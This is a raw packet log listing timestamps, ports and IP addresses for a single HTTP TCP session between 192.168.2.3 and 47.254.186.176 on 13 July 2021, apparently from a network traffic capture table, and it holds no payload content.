Jul 13, 2021 14:37:56.061044931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061059952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061068058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061131001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061158895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061173916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061187029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061204910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061209917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061222076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061255932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061284065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061300039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061314106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061316967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061327934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061342955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061348915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061357975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061376095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061387062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061391115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061405897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061420918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061424017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061453104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061570883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061587095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061602116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061615944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061630011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061638117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061644077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061659098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061664104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061672926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061691046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061707020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061712980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061721087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061728954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061736107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061749935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061758995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061764956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061784029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061795950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061798096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061813116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061827898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061835051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061841965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061860085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061861038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061876059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061891079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061896086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061904907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061913967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061919928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061933994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061949015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061959982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061964035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061981916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.061981916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.061996937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062000990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062011003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062026024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062032938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062041044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062055111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062073946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062074900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062088966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062108040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062123060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062136889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062136889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062141895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062153101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062164068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062166929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062180996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062196016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062196016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062210083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062227964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062227964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062243938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062248945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062258005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062273026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062277079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062288046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062302113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062314987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062315941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062330008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062347889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062354088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062364101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062378883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062390089 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062393904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062407970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062408924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062422037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062436104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062437057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062452078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062458992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062469959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062485933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062496901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062500000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062515020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062519073 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062529087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062542915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062557936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062566042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062572956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062591076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062592030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062607050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062613964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062621117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062643051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062644005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062659979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062674046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062674046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062688112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062702894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062715054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062716007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062731028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062745094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062747002 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062762976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062778950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062793016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062808037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062823057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062824965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062836885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062851906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062864065 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062866926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062866926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062869072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062885046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062901020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062908888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062916040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062937021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.062944889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.062973976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063074112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063088894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063105106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063111067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063143015 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063189030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063204050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063255072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063390970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063406944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063446999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063560009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063575029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063589096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063606977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063623905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063631058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063638926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063653946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063656092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063669920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063683987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063694000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063698053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.063723087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.063743114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064023972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064038992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064054012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064068079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064080954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064086914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064101934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064104080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064119101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064133883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064147949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064223051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064260006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064523935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064547062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064563036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064577103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064590931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064604998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064661980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064663887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064670086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064672947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064680099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064702034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064702988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064722061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064738035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064739943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064752102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064766884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064774036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064780951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064795971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064810038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064814091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064846992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064867020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064882994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064903021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064918041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.064955950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.064961910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065032005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065049887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065064907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065078974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065088987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065093994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065109015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065119982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065126896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065135956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065144062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065159082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065171957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065180063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065201998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065216064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065217018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065231085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065239906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065246105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065259933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065274000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065284967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065288067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065305948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065313101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065323114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065340042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065355062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065815926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065830946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065845966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065860033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065879107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065897942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065902948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065917969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065922976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065962076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.065974951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.065999031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066013098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066026926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066040993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066045046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066061974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066075087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066101074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066139936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066154957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066169977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066180944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066184044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066200018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066207886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066251040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066505909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066521883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066545010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066559076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066574097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066589117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066581964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066605091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066606998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066622972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066637039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066647053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066651106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066665888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066678047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066680908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066695929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066701889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066709995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066721916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066728115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066744089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066751957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066757917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066771984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066787004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066792965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066801071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066811085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066816092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066831112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066833019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066848993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066864967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066879034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066879988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066893101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066901922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066907883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066921949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066932917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066936016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066951036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.066960096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.066967964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.067018032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.067019939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.067035913 CEST	80	49757	47.254.186.176	192.168.2.3
